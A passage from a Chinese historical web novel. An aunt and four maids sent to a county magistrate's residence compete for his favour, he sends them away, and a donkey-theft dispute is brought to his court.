瑞珠就说:“不妨事的姑姑。” 秋宁也说:“就让我们多坐会儿吧,在车上呆的时间长了,我们人都快憋傻了。” 丁姑姑就笑说:“尽说些傻话,好端端的,人怎么能憋傻?不过你们爱坐就坐吧,我是没空管你们了,二爷马上要回府了,我得换身衣裳迎一迎二爷。” “呀!” “二爷要回来了!” “姑姑好坏,故意看我们的笑话。” 几位姑娘又气又慌,却也顾不上和丁姑姑说些别的什么。 她们赶紧撑着伞往屋里跑,去挑衣裳梳妆打扮去了。 云莺也随大流回了房间,伺候她的小丫鬟这时候急的上火,“姑娘,怎么办啊?我梳的头不好看,把姑娘的姿色都拉低了。” “我觉得好看就行。”云莺强硬的将梳子塞到她手里,“你不帮我梳,这时候也没人能帮我,难不成让我披着头发去见二爷?” 小丫鬟硬着头皮接过梳子,给云莺梳起头来。 说实话,小丫鬟梳头的水平不能称得上好,但也绝对称不上坏,只能说平平无奇罢了。 她给云莺梳的飞天髻,头发梳的非常紧,发丝紧紧贴着头皮,也就是云莺的颜值在硬撑着,不然,真就无法见人。 小丫鬟急红了眼,还想说些什么,云莺却满意的照了照昏黄的铜镜,拍拍她的肩膀站起身往外走。 二爷已经进了大门,王管家此时正陪着走在他身侧,低声说着什么。 云莺禁不住好奇,抬头往前看了一眼,就见这位二爷身量笔挺,气质矜贵,容貌也颇为清俊倜傥。只他人看着寡淡的厉害,神情也疏离冷漠,让人畏惧。 云莺低下了头,随着丁姑姑的动作一道行礼。 陈宴洲搀扶起丁姑姑,温声说:“劳姑姑受累了。” “二爷言重了,奴婢不过代夫人来看看二爷的境况罢了。夫人担心二爷在这边吃不惯、住不惯,身边无人伺候……” 话及此丁姑姑顿了顿,心中懊悔她太急切了,有些事儿缓着说才好。但已经说出口,此时她就不知道该如何转圜。 而陈宴洲,丝毫没有顺着丁姑姑的话继续往下说的意思,只交代道:“姑姑先稍事休息,容我去沐浴更衣。” “唉,唉,都是老奴的错。二爷快去洗漱吧,热水巾帕已经准备好放进了净室中,二爷先去收拾即可。” 看陈宴洲颔首过就要离去,丁姑姑又唤了一声,“二爷。” 陈宴洲:“姑姑还有事?” 丁姑姑原想着,让二爷挑个姑娘过去伺候他沐浴,但见二爷这神色清清冷冷的,对这几个花容月貌的姑娘也全都视而不见,丁姑姑只能暂时收起这心思。 她笑了笑,轻声说:“柜子里有夫人做好的衣衫,二爷不妨试试合不合身。” 陈宴洲颔了颔首,再没说什么,转身离去。 云莺几人回去的路上,一个个都很沉默。 丁姑姑看见几位姑娘又是摸头发,又是揪帕子,小脸还红扑扑的,眼睛也忽闪忽闪的厉害,就知道她们是动了春心,这时候再让她们回京城,怕是她们都不愿意了。 丁姑姑就意味深长的说:“好好伺候二爷,以后少不了你们的好处。” 秋宁终是耐不住好奇,问丁姑姑说:“二爷看着清清冷冷的,对我们几个也视而不见。我们几个是不是不入二爷的眼?” “那要等时间长了才知道,如今么……二爷才当了一地父母官,这县里的事情都没理顺,又哪里有闲工夫去理会你们几个?” 话是这么说,可丁姑姑心里却清楚,二爷怕是真没看上这几个姑娘……不是看不上她们的容貌,而是看不上她们是二夫人挑选的人。 丁姑姑心里直发愁。 自家这位二爷是个性子冷的,未成亲前,即便是给夫人请安时,碰见了来做客的表姑娘们,二爷也只是点点头全了礼数。和夫人成亲后,因为双方脾性不和,二爷整个人不仅没软和下来,看着反倒更冷硬了几分,话也更少了。 这么冷冷淡淡的一个人,姑娘们得多努力,才能争取到二爷的一个青眼? 017 教管家 晚膳时,丁姑姑亲自下厨,给陈宴洲做了几个他从小爱吃的菜肴。 陈宴洲看着丁姑姑在他跟前忙前忙后,还要给他布菜,便开口说:“姑姑歇一歇,我自己来即可。” 丁姑姑忙道,“还是让奴婢伺候二爷用膳吧,等回京后,奴婢也好和夫人说一说二爷都用了什么,夫人听了指定会开心的。” 陈宴洲闻言便没再说什么,只沉默的用了饭。 饭毕饮茶时,陈宴洲开口问:“姑姑准备何时回京?” “这个……” “姑姑可是有什么难言之隐?亦或是有别的安排?” 丁姑姑看了看陈宴洲的脸色,这才小声的说:“夫人想让奴婢在云归县多留些时日,等您把这边的事情都理顺了,再让奴婢回去。” 陈宴洲:“姑姑大可不必。我身边有随云几人照应,且我也不是三岁孩童。比起我,母亲身边更缺不得人,姑姑还是尽快回去照应母亲吧。” “二爷。”丁姑姑闻言,赶紧开口道:“儿行千里母担忧,夫人不能亲自过来看顾您,心里很是挂念。您就让奴婢在这里待一些时日,只当是安夫人的心了,二爷您看可好?” “况且,世子夫人也历练出来了,如今能帮着夫人掌家理事。夫人还说,若实在忙不过来,就让二夫人也帮把……”手。 一个“手”字未出口,丁姑姑赶紧闭了嘴。 她忐忑的看向二爷,却见这位二爷面色平静无波,眼皮更是抬都没抬一下。这么寡淡的反应,让丁姑姑心里更难受了。 她和夫人都知道,二爷和二夫人感情不好,可也没想到,已经淡漠到了如此地步。 丁姑姑又说:“夫人那边有人照应,倒是您这边,除了随云几人,再没添几个人手。我看这县衙空落落的,厨子做的饭菜怕是也不和您的胃口。我先将内宅打理起来,等一切理顺了,我就回京,您看可好?” 似是看出了丁姑姑的固执,又似乎是,丁姑姑的去留对他来说并没有太大妨碍,陈宴洲没再说什么,只微颔了颔首,让丁姑姑决定就好。 天色漆黑,外边的蝉鸣虫吟一道道传到耳里。陈宴洲将茶盏放在桌子上,说了一句“姑姑自便”,便起身往外走。 丁姑姑想着,要不要让几个姑娘去伺候二爷,就这么犹豫的功夫,那道颀长挺拔的身影,已经消失在浓浓夜色中。 丁姑姑对着那道背影叹了口气,转身回房歇息去了。 再说后院中几位姑娘,见了这位侯府二爷如此龙章凤姿的模样,心里未尝没有点想法。 眼瞅着天黑了,她们的小心肝扑通扑通跳的更厉害了,满心期待着今晚能发生些什么。 可都等到一更棒子敲响了,外边也依旧没有丝毫动静。 众人心中遗憾,眼中的光也有些黯淡。可想到这只是第一天,以后得机会多的是,便又将那种遗憾收敛起来,让小丫鬟伺候着歇息去了。 第二天早上,几位姑娘早早起身去丁姑姑身边伺候。 丁姑姑看着几位姑娘心不在焉的模样,心中很是好笑。 她们以为在她这里能见到二爷? 那不是开玩笑么。 丁姑姑含笑说:“正好你们过来了,我正愁身边没帮手呢。” 瑞珠:“姑姑可是需要我们做什么事儿?” 丁姑姑看着瑞珠说,“你也知道,二爷此番南下,只带了从小一起长大的随云四人。” 随云在二爷的伴读中,算是内敛又心思细腻的一个人,因而二爷将他留在县衙,应付随后可能会有的各种拜访和拜帖,自己则带着其余三个随从,熟悉县里的公务与其余诸事。 但这不是长久的办法,还是要将随云解脱出来。毕竟他精明又能干,而二爷身边总共也就这么几个人。 将随云从闲杂的事务中解脱出来是一方面,另一方面,也是要将这县衙拾掇一下。该添置的添置了,该修整的修整了,得让府里运转起来。 接下来,丁姑姑果真就忙起来了。 她先是找了人牙子采买了几个小丫鬟和粗使婆子,又添置了门房、厨娘、绣娘、车夫等人。 人员采买妥当,府里能正常运转了,丁姑姑又让人修葺房屋,粉刷墙窗。 这县衙虽说是一水的青砖所建,看着还算气派,但也就是个面上光。 内里么,也不知道是上一任县令太穷困了,亦或是这岭南的风雨过于粗暴,这些房屋肉眼可见的破败,墙皮全都脱裂了,门窗的颜色更是斑驳的很,看着就很破败。 修葺了墙壁和门窗,丁姑姑又请示了陈宴洲,将县衙后院的摆设都换了一番。不拘是待客用的杯盘盏碟,亦或是摆设的花瓶和屏风,连带着陈宴洲屋里的一应物什,也全部更换了个新。 当然,即便更换过,这些东西也比国公府里惯用的差了许多许多。不过丁姑姑已经在能力范围内购置来最好的,勉强也还算瞧得过眼。 这么一番忙碌,半个月时间就过去了。 这期间丁姑姑不管忙什么,都将四个姑娘带在跟前,名义上是让她们帮着打下手,其实就是借打下手之名,行教导他们管家之实。 丁姑姑想的很明白,她短则一月两月,长则一年半载,总归是要离开这里的。等她离了这里,县衙后宅这一摊子事儿,还得落在这四个姑娘身上。 届时谁能得宠,谁会拿到管家权,她也不清楚。不过为防被委以重任的那个姑娘抓了瞎,教导他们管家一事,还是早早的提上日程。 话又说回来,虽然四个姑娘一样教,但丁姑姑明显更偏爱瑞珠一些。 许是看在她是二夫人的丫鬟的面子上,又或者是因为瑞珠从小在长安候府长大,做一等丫鬟伺候着金尊玉贵的姑娘,乃是名副其实的副小姐——这也就意味着她的见识、能力,都是出众的,若有人好生教导,掌家理事绝对不在话下。 也是因此,即便瑞珠的容貌在四人中最不出挑,但丁姑姑对瑞珠却最看重,教导时,对她也最用心。 尽管丁姑姑对其余三人也算是倾囊相授,但这种态度上的差别对待,还是让木槿和秋宁心中不舒坦。 秋宁如今和云莺越走越近,忍不住就和云莺嘀咕说:“我也没看出来瑞珠哪里好。” “她行事稳重,办事妥帖大方,迎来送往都很有章法。丁姑姑看重她,对她委以重用,不是没有道理的。” 云莺有什么说什么,可这实在话却让秋宁不舒坦了。 “你到底是那头的?”秋宁问,“你,我,还有木槿,咱们三个来自一个地方,咱们才该报团取暖才是,怎么你却偏着瑞珠说话,她给你什么好处了?” 云莺:“她没给我什么好处,我不过实话实说罢了。” 秋宁扯着帕子,“行吧行吧……虽然瑞珠是比咱们强了一点,但也是因为咱们之前没接触过这些。跟着丁姑姑学了几天,咱们也都学了不少,再学一段日子,咱们也出师了,没道理就直接把管家的差事让给瑞珠啊。不行,我得争一争,不然咱们三个以后都得看瑞珠的眉眼高低,这我可不乐意。” 云莺想说,你现在就想争管家权,真的争早了。 首先,那位二爷不见得会留咱们一直在后宅住着,指不定丁姑姑回去时,二爷就让丁姑姑把咱们打包带走了。 二来,你就学了三两天,就把管家的精髓学到手了?那瑞珠看着沉默,但却有真本事,你想轻易把她干掉上位,别一不留神被她拿来立威。 云莺最后叮嘱秋宁,“你安分些,别让人捏着把柄,再把咱们处置了。” 秋宁缩缩脑袋,发昏的头脑清醒了几分,诺诺的说了句,“我没那么缺心眼,我再等等,等合适的机会……” 018 中秋 机会没等到,倒是中秋节先一步到来。 丁姑姑一行人到达云归县将近一个月,期间也仅见过二爷三两面。 丁姑姑自然不会认为,二爷是特意避讳着府里的几个姑娘才不回府,但丁姑姑明知二爷忙于正事,脱不开身,但是……总不会连这人月共团圆的中秋节都没时间过吧?! 丁姑姑前几天苦熬到深夜,终于等到了二爷归家,她打苦情牌,硬是磨得二爷同意了今晚回府用晚宴。 这个消息一传出来,后宅就彻底安静了。几个姑娘也顾不得争抢这宅院里的差事了,却是忙不迭的赶制新衣,琢磨装扮。 转眼就到了晚宴时,几位姑娘都装扮一新,去了丁姑姑跟前伺候。 丁姑姑看着花容月貌的几个姑娘,面上也堆满了笑意。 她对这几个姑娘的观察,从南下第一天就开始了。 瑞珠不用说,行事稳重,妥帖周到,待人接物都来得,亏就亏在容貌上欠缺一些,且是二夫人的丫鬟——怕是二爷会厌屋及乌? 秋宁这丫头看起来温婉可人,是个贤淑温良的,实际上却掐尖要强、得理不饶人。这丫头却很机灵,常常妙语连珠,逗得人捧腹不已,倒也称得上是朵解语花。 木槿看着胆子有些小,存在感也低,这姑娘却有眼色的很,且不管何时何地,都小意温柔,笑的一脸无害。任是脾气在差的人,也不好一直对她冷着脸。 再就是云莺了…… 想起云莺,丁姑姑眉头微微拧了拧。 这姑娘她看不透。 这姑娘看着是个清冷的,实际上为人处世也确实冷的很。 她既不爱往她跟前凑,对于二爷的行程似乎也不太放在心上。但她做事情也还算认真,不管是给二爷做针线,在二爷回府时好生打扮,和其余几个姑娘一样来她这里学管家,亦或是努力做好她交代的差事。 云莺都做的很好,表现的既不惊艳,但也绝不拖后腿。 可就是这种恰到好处的分寸感,总给丁姑姑一种她在随大流的感觉,以至于每每想起云莺,脑子里总要多琢磨两分。 丁姑姑想七想八的时候,姑娘们已经闹腾起来。 秋宁张口问,“姑姑,二爷确定今天会回来么?” 丁姑姑立刻收起跑远的思绪,轻笑着说,“二爷答应了会回来用晚膳,那就指定会回来。只是你们也知道,云归县最近少雨……” 别看他们一路过来,在锦州时遇到不少雨水,甚至因为雨水过于频繁,导致山体滑坡阻了去路,但越是往南,越是干旱。 岭南府已经将近一个月不下雨了,且他们过来的时节,刚好是插秧的时候。田里缺水,作物不能及时耕种,百姓们急的上火。 好在云归县周边有大河环绕,百姓们就引水灌溉庄稼。 但处处都缺水的厉害,住在河上游的人,总想着先将自己村落的庄稼都浇灌好,再让下游的人用水,于是,就开始填土拦水。下游的人眼见没水过来,自然不依,就找上来,为此频频发生械斗。 也是闹得太厉害了,陈宴洲才不得不放下还没熟悉的县务,跑到云归县管辖的几个村镇先处理这些事儿。 新任县太爷挨个村子转悠,自然威吓的一些人不敢再作妖,但陈宴洲总有不在的时候,就有那胆大包天的年轻人,趁着夜晚时拦水,到了翌日重新让水下流…… 毫无意外这事儿又被告到陈宴洲跟前,陈宴洲自然是让差役们挨个村落走一遍,三令五申拦水的严重后果,这才吓的一些泼皮刁民不敢再闹事。 但好不容易播种完成,一些秧苗却因浇水不及时,枯死在田地里。百姓们无力复种,每每在县太爷经过时,趴在田间地头嚎啕大哭,说一家子没了盼头,不如一死了之…… 各种杂事纷纷扰扰,陈宴洲及几个侍从被闹得头大,为此不仅好几天没有回府,即便回府时,脸色也有些难看。 今天他的脸色倒是好看些,丁姑姑见状,赶紧殷勤的迎了二爷进门,一边还温和的问:“二爷今天的差事可顺利?” 陈宴洲轻“嗯”了声,没再给出过多的解释,但看他面色舒缓,冷硬的下颌线条也柔和了几分,可见要么是复种的事情已顺利解决,要么就是有了章法,只待实施。 丁姑姑不敢多问,只笑吟吟说,“那就好,那就好。” 陈宴洲回府的第一件事便是去洗漱,丁姑姑原想让瑞珠过去伺候二爷梳洗,但想到二爷在府里时也不用人伺候,便歇了这心思。 很快陈宴洲又回到了花厅。 他着一身雪青色常衫,身上还有着朦胧的水汽,晕黄的烛光落在他身上,愈发衬托的他玉面英挺,身若修竹,惹得几位姑娘心肝颤动,小脸通红。 丁姑姑见二爷今日的心情确实称得上舒畅,她心情也跟着快慰起来。 中秋佳节,原是月圆人团圆的时候,可二爷却孤身一人在外,真是想想就让人心酸。 丁姑姑想着侯府今天会有的热闹,再看看二爷忙到天黑才回来,及至现在还没用上晚宴,愈发觉得二爷可怜的厉害,身边没个可心人陪伴,也凄清的让她不落忍。 念及此,刚才还想着一切顺其自然,不要一个劲儿的给二爷塞人,以免惹二爷恼怒的丁姑姑,忍不住就冲动了一把。 她开口说,“秋宁别干站着,赶紧给二爷夹菜,木槿给二爷倒酒。” 秋宁和木槿再是没想到,丁姑姑会在这时候叫到她们。 之前丁姑姑明显更偏爱瑞珠,对瑞珠的教导也事无巨细,众人都默认了丁姑姑会先将瑞珠推上去,让她得宠,让她掌家。 也是因为看出了这一点,秋宁才那么不服气。 毕竟若论见识和待人接物,她确实是比不上瑞珠。但若想在一个男人那里得到宠爱,瑞珠就是拍马也追不上她。 而若是得了男人的宠,别说管家了,就是你想要上天,男人都得给你做出登天梯。也是因为深谙这个道理,秋宁对丁姑姑偏爱瑞珠的作为非常看不惯。 让她说,丁姑姑再是器重瑞珠又有什么用,瑞珠再会管家,再是会交际又有什么可得意?只要她得了二爷的宠,这府里全都得听她的。 秋宁自认为依照自己的容貌和手腕,她是一定会得宠,一定能让二爷对她俯首帖耳的。是以,面对丁姑姑的错待,才愈发气不愤。 可她没想到,这么好的推出瑞珠的机会,丁姑姑竟然没将瑞珠推出来,反倒让她和木槿去伺候二爷?! 姑姑这是吃错了什么药了? 丁姑姑没吃错药,她只是突然想起来,男人都爱俏。 二爷再是不重欲,可他是国公府的嫡次子,从小往他身上扑的绝色佳人和俏丽美婢犹如过江之鲫。就瑞珠这样的,想以容貌出头,那万万不可能。 为今之计,是让二爷有留宿后院的心思,等二爷在后院的时间长了,瑞珠自然就有机会了。 丁姑姑又看了看秋宁和木槿。 秋宁在南下的路上瘦了不少,好在这一个月好生调养着,她身上又长了不少肉。就依旧是团团的脸儿,丰腴的身段,一笑起来两个梨涡像是盈满了蜜水,看的人心里直发甜。 木槿呢,看人时小意温柔,那双眼睛水汪汪的,泛着潋滟诱人的光。 丁姑姑带着鼓励的眼神看着这两个姑娘,还催促说:“都愣着做什么,二爷回来你们高兴傻了不是?还不赶紧去伺候二爷?” 秋宁和木槿赶紧应“是”。 她们才不管丁姑姑到底是什么心思,总归她敢将她们推出来,她们就敢豁出脸面在二爷跟前讨巧卖乖。 呸,什么豁出脸面,她们这种人根本没脸面。 秋宁和木槿莲步轻摇着走到跟前,一人要去拿桌上的玉箸,一人一要去执酒壶,秋宁更是掐着嗓子甜滋滋的说,“奴婢伺候二爷……”用膳。 “不必。” 不等秋宁和木槿将话说完,陈宴洲已经看向丁姑姑。 他双眸深邃幽深,宛若深秋时节高悬在天空的弦月般清冷幽寂,就这般直直的看向丁姑姑,令丁姑姑都不由垂下脑袋,僵直脊背。 陈宴洲面上柔和的神情已全部收敛,转而化成冷漠与凉薄。 但许是念在丁姑姑之所以这样做,到底是奉了母亲的命令,且也是真心为他好。 陈宴洲到底是收敛了语气中的冷意,径直说:“姑姑留下陪我喝一杯就是,其余人都下去吧。” 又对丁姑姑说:“我清净惯了,不喜烦扰。” 云莺四人到底是被花厅外边侍立着的墨雪带了下去,徒留下丁姑姑一脸仓皇的看着陈宴洲,挣扎着说:“二爷,府里的意思,您已尽知。先不说您在外任职,身边到底要有个女眷照应起居,府里才能安心。就说一些迎来送往,总要有女眷操持才妥当。” 陈宴洲不紧不慢的执壶倒了一杯酒,一饮而尽。他说,“姑姑的意思我知晓,只我清净惯了,实不耐烦身边的喧嚣吵闹。” “二爷若怕吵闹,我就将秋宁带走,将瑞珠、木槿和云莺留下来。这三个姑娘都是好的,性情稳妥,话也不多。回头我再叮嘱她们,不让她们来烦二爷……” “姑姑还是将人带回去吧,我公务繁忙,无暇理会她们,她们留在此处不过蹉跎了年华。姑姑若觉得带回去不好交差,我便做主要了她们几人的身契来,将她们择了人家嫁了。” 丁姑姑更无奈了,“二爷……” 陈宴洲:“时序入秋,天一日冷过一日,王管家诸人想来已经到京,姑姑准备何时回去?” 丁姑姑颇有些哭笑不得,“二爷您别催奴婢了,奴婢之前与您说好的,等后宅诸事上了正轨,奴婢就回京。” 陈宴洲又自酌自饮了一杯,“难道现在后宅诸事还没理顺?” 丁姑姑好笑又好气的说:“理顺是理顺了,但还没有人接手。二爷快别说让随云接手的话了,随云精明能干且忠心护主,您身边惯来离不得他。让随云来处理这些内宅的琐事,不是把人耽搁了么?我的意思是,内宅的事情,府里的事情,最好还是让女眷来处理。且女眷也能与您下属官员的妻妾们应酬往来,互通消息有无,这也是很重要的一点。” 陈宴洲却道:“那您就给我寻一管事嬷嬷来。” 丁姑姑又要拒绝,陈宴洲只道:“姑姑收拾行囊,近些时日就带人回京吧,总要在落雪前赶回京城才不遭罪。回头我让墨雪寻了可靠的镖局护送姑姑一行人回去,姑姑将我诸事皆安的消息告知母亲即可。” 019 堂鼓响 遇到这样一个固执又强硬的主子,丁姑姑也很头疼。 她一千一万个想将这些姑娘留下来,可无奈二爷不接受。且不仅不接受这几个姑娘,连她这老婆子也厌了,这就让他们回京城去。 丁姑姑唉声叹气,将这件事说与几位姑娘听。 几位姑娘闻听此事,一时间如遭雷击。 她们都在云归县呆了一个多月了,原以为二爷私心里已经接受她们留在此地了,可二爷竟又在这时提出送她们离开? 秋宁和木槿虽然昨晚上被二爷冷拒了,但在她们看来,这都不是事儿。只要她们心意真,只要她们耐得住性子,她们坚信二爷迟早有一天会被她们软化。 她们甚至都暗戳戳的臆想过,得了二爷的宠爱,与二爷柔情蜜意、红袖添香的生活了,结果突然就来了这么一遭。 回京? 二爷竟还是要让他们回京? 秋宁和木槿昨晚被二爷拒绝后受到的打击,都没今天听到这个消息时多。 瑞珠这时候也不装沉默了,她一脸焦灼的问丁姑姑,“二爷不是默认咱们留下来了么?怎么又要撵我们回去,是不是……” 瑞珠话没说出来,可她的眼神却瞥向了秋宁和木槿。那意思不言而喻,似是在问,二爷是不是觉得,派这样两个女人伺候他是辱没了他,所以就连她也被牵连了,要被二爷撵回京去? 秋宁可是忍了瑞珠有段时日了。 之前丁姑姑对瑞珠另眼相看,瑞珠在她们跟前就端起来了。 那模样,那架势,不知道的人还以为她是正室原配呢。 就那姿态也拿捏的高高的,对秋宁几人说话,也带着高高在上的口吻,真是让秋宁窝了好些火。 可之前忌讳着瑞珠有丁姑姑撑腰,也是担心有丁姑姑在二爷面前使力,瑞珠真要管家,她们都要在她手下讨生活,所以秋宁也不敢真得罪她,就硬咽下那口气,不和她一般见识。 可现在么……瑞珠那是什么眼神? 还一副她们都上不得台面的鄙视样儿,那她又是那个台面上的人物,又比她们高贵到哪里去了? 秋宁直接就呛声回去,“你斜着眼睛看人是什么意思?觉得我们牵连你了,觉得我们误了你的前程?呵,也是好笑,你还真拎不清自己几斤几两了。我们是没得主子青眼,你以为你上前就能得了?就凭你这长相,二爷是瞎了眼,才会让你伺候。” 瑞珠闻言直接涨红了脸,双眸冒着火光,瞪着秋宁,“你再敢胡说八道,我撕烂你的嘴。” “来啊,我就在这里站着,你有那本事倒是来啊。”秋宁才不怕事儿,她对着瑞珠气势汹汹,“还没怎么样呢,你就把架子端起来了,真以为自己是正室原配呢?呵呵,充其量你也就是二夫人身边的一个丫鬟,不知道在二夫人身边谄媚了什么东西,才让二夫人放你来二爷身边伺候。也是可笑,二夫人不在跟前,你还以为自己是二夫人了?” “住嘴,都给我住嘴。”丁姑姑看着小嘴淬了毒一样的秋宁,真个是大开眼界。 丁姑姑不由想起初见时,那时候秋宁笑的那叫一个甜,丁姑姑还以为这是个温婉贤淑的甜姐。后来接触多了,丁姑姑知晓这姑娘外边看着笑呵呵的,其实内里掐尖要强,不是个能吃亏的。如今么,丁姑姑对秋宁的印象再次刷新,这姑娘有仇必报,嘴巴淬了毒。 丁姑姑头疼的不行,呵斥欲上前扇秋宁巴掌的瑞珠,又将去扯瑞珠头花的秋宁制止住,“你们两个,都给我消停点。谁再敢闹事儿,自己给我滚回京城。” 瑞珠委委屈屈,秋宁可怜巴巴。两人面对面飙演技,转眼都变成可怜兮兮,互相指责对方嚣张跋扈、无理取闹。 丁姑姑:“呵,难怪二爷不让你们伺候,就是我老婆子,我也不敢用你们了。一个两个的张狂劲儿,你们这哪儿是丫鬟,主子都没你们谱儿大。” “姑姑……” “姑姑……” 瑞珠和秋宁同时求饶。 丁姑姑却头疼的摆摆手,“回京的事儿我再考虑考虑,指不定二爷说的才是对的。把你们留在这儿,别帮不上二爷,反而天天闹腾的二爷头疼……” 丁姑姑这话一出,不管是瑞珠、秋宁还是木槿,全都慌了神。她们想说她们方才是闹着玩的,想说她们再也不会了,可还没等她们说出些话来,外边的堂鼓突然被敲响了。 哎呦喂,这是有人击鼓鸣冤了。 几人登时都顿住了,等回神后,丁姑姑忙不迭的道:“二爷今天是不是一大早就出去了?赶紧让人出去寻二爷啊。” 不怪丁姑姑如此激动,实在是,她们来了云归县一个月,这还是堂鼓第一次被敲响。说准确点,这甚至是陈宴洲到云归县这两个月来,堂鼓第一次被敲响。 先时丁姑姑就为这事儿烦恼的不要不要的。 盖因为无人敲堂鼓,县令就无法树立自己的权威,更无法使自己的公正廉明广为人知。 这带来的连锁反应是很多的,最直白的一点就是,县内的县丞、衙役、吏员等不能如臂指使,这大大耽搁了政令运行的进度和深度。而少了这些人的配合,陈宴洲要对云归县的情况了若指掌,难度大大加深。 先不说这些题外话,只说墨雪出去寻陈宴洲时,丁姑姑难耐的在花厅踱步起来。 她面上满是烦忧,不住的念着,“可别让那范县丞再把人劝回去。” 范县丞是个八品官,按理他绝不应该出现在丁姑姑这个内宅妇人口中。 可谁让这位范县丞不一般呢。 具体如何不一般? 一来,这位范县丞乃是从一个不起眼的吏员升迁上来的,且他还成功熬走了五任父母官。可谓是铁打的县丞,流水的县令了。 再说范县丞的那些上司,只有一位高升了,其余四位,有入狱的,有致仕的,有惨死的。可不管上司如何,丝毫没影响到范县丞的前程,他在云归县的地位稳如泰山。明面上是一人之下,可实际上不管是威严还是权利,都比县令还要大。 三来,据说,这个据说是丁姑姑从王管家口中听来的。说是范县丞表现上光鲜亮丽,二爷来赴任后,他也是鞍前马后,恭维捧敬,看似再忠恳不过的一个人。但实际上,云归县早先的豪族尚家的灭门案,与他脱不了关系。 这人是当之无愧的老油条了,能屈又能伸,丁姑姑担心光风霁月的二爷不是这老油子的对手。 丁姑姑愁眉苦脸,几位姑娘表情却温和。仔细一看,甚至还能从她们眼中看出隐隐的喜意。 她们可不就欢喜么? 有人敲了堂鼓,那肯定是出了案子,接下来一段日子二爷要忙于公务,指定想不起他们这些人,也无暇催促他们回京了。 秋宁心中也松了一口气,这口气松了,她的理智也回来了,此刻才意识到,刚才当着丁姑姑的面和瑞珠撕破脸不太妥当。 她有些懊悔,就用手捅捅云莺,想问云莺怎么不在她头脑发热时拉住她。 结果捅了两下,云莺也没反应,秋宁侧首一看,云莺正在出神。 她不由开口问,“你想什么呢,我这么大力气你都没反应。” 云莺低声说:“没什么,我想事情入神了。你找我何事?有什么话想说的?” 话是这么问,云莺的思绪却没有拉回来。 她此刻只在心里惋惜,二爷多好的人啊,都说要将她们的身契要回来,给她们择取良人发嫁了,丁姑姑怎么就不能同意下来呢? 云莺倒不是想嫁人,她只是想要回她的卖身契,恢复成自由身。 可惜她的身契被长安候夫人给了林淑清,如今就在林淑清手里牢牢的捏着。 有这卖身契在,她就像是孙悟空被带上了紧箍咒,被人拿捏的死死的。 她究竟要用何种办法,才能从林淑清手上拿回那张纸呢? ……不知道试探的和丁姑姑说,她想在本地发嫁行不行? 020 偷驴案 不说内宅中几个女眷此时胡思乱想些什么,只说陈宴洲过了一个时辰后才被墨雪寻了回来。 新任县太爷忙着清洗更衣、升堂问案,丁姑姑连带着云莺几个,自然规规矩矩的呆在后院,不敢去添乱。 她们倒也不是干坐着,这么一会儿功夫,她们已经派小丫鬟去前头,打听清楚了究竟是谁在敲堂鼓,又是为了何事敲堂鼓。 从小丫鬟口中,她们也得知,敲堂鼓的乃是云归县下辖青石镇百里村的老汉,外人称之为李老汉。 这李老汉家有一门祖传的木匠手艺,他的两个儿子也跟着他一道做了木匠。父子三人因为脾性好,手艺出众,干活周到,工价也不高,可以说是几乎包揽了整个青石镇的家具摆设等的打造活计。 活儿多了,铜板就一点点攒起来了,到了年初的时候,这家人置办了一头驴子,用来搬运做工的家伙什,亦或是运送做好的家伙什给下单的人家。 可就在前天半夜里,李老汉家的驴子被人偷了。 若只是个简单的偷驴案,李老汉也不至于敲堂鼓了,直接在县衙报失就行。驴子属贵重物品,价格仅次于耕牛,这么恶性的事件,官府若知道了不会不管。 可李老汉着急找驴,他在察觉到驴子被偷走的第一时间,就着急忙慌的唤醒了全村人帮忙。找来找去,找了两天时间,还真被这些人在青石镇的一户人家,把这头驴子给找了出来。 可惜,这头驴子已经有新主了。新主也不承认自己偷了驴,只说这驴子是自己从牛马市买来的,谁要是敢抢他的驴,他就要告官。 两人争执不下,差点动手干架。好在有百里村的里长和青石镇的镇长强压着,到底没闹出大事儿来。 但驴子没有要回来,李老汉心中不忿,到底是敲了堂鼓,告了官。 案子很是简单,秋宁几人听说只是个偷驴案,便无趣的撇撇嘴,说“那里长和镇长只要不是废物,想来打眼一瞅驴子和谁更亲近,就该判断出来,究竟谁才是驴子的主人。哪里还用闹到县衙来,还耽搁了二爷的……”行程。 秋宁到底没将这句话说完,只因为丁姑姑警告的看着她,秋宁讪讪的笑了笑,赶紧闭了嘴。 丁姑姑见秋宁还识管教,便没有多说她。但丁姑姑心里未尝没有些想法。就像是秋宁说的,看看驴子更亲近谁,不就能判断出,到底谁才是驴子的主人了? 莫不是这里边还藏着些她不知道的东西? 还真让丁姑姑猜到了,用驴子更亲近谁来判断谁是驴子的主人,确实不靠谱。 为什么这么说呢? 盖因为这驴子后来的主人是个阔绰的,对这新买的驴子也非常非常疼爱。 疼爱到什么地步呢? 疼爱到将饴糖做零嘴喂给驴子吃。 众所周知,比如马、驴这些牲口,舌头上的神经都很丰富,对味道也很敏感,它们是非常酷爱吃甜食。 而这头驴子先头的主人不管是谁,那即便日子好过,对驴子很是爱护,想来也没能力将饴糖当做零嘴时不时喂给它。 这就导致了,明明驴子看见李老汉一家人也很兴奋,外在表现很想亲近他们,但是,只要后边这位新主人一拿出饴糖来,驴子就又乖乖的跑到新主人面前,讨巧卖乖想要主人抚摸,问主人要糖吃……就真的是,为了口吃的,毫无下限。 李老汉一家见那姓潘的大户,用这么无耻的办法诱拐他的驴子,自然气愤不已。他们让潘姓男子不用饴糖喂驴,以此判断驴子与谁更亲近,谁才是驴子的主人。但那潘兴只拿白眼翻他们,说是“他的驴,他想怎么喂就怎么喂。他有钱,愿意给驴子吃多少饴糖,就吃多少饴糖……” 就这样,事情无法解决,就闹到了公堂上。 而陈宴洲坐在明镜高悬的牌匾下,看着原告李老汉,被告潘兴,以及被两家争抢的那头黑驴,面色无波,眉头都没皱一下。 可他才想开口说“肃静”,那头驴便“啊—呃—啊—呃—”的叫了起来。 公堂上静的落针可闻,陈宴洲面色僵硬发黑,而下首那些围聚过来看热闹的百姓,在一开始寂静后,突然爆发出哄堂大笑。 范县丞见公堂出了如此闹剧,诚惶诚恐的对着陈宴洲拱手,“大人请息怒,都是小的没处理好这头驴,把大人您吓着了。大人您稍等,小的这就让人把这驴唇给堵了。” 他给捕快使眼色,那为首的捕快不知从哪儿变出来一团麻绳,利落的将那驴唇给捆上了。 而就在捕快捆驴唇的时候,公堂上跪着的李老汉与潘兴俱都看着他的动作。 李老汉一脸心疼,不住的倒吸气,一个劲的念着,“大人小心点,大人轻着点。这畜生没坏心,只是控制不住嘴……” 反观潘兴,一脸无所谓的模样,还在哪儿看戏似的,且看的兴致勃勃。 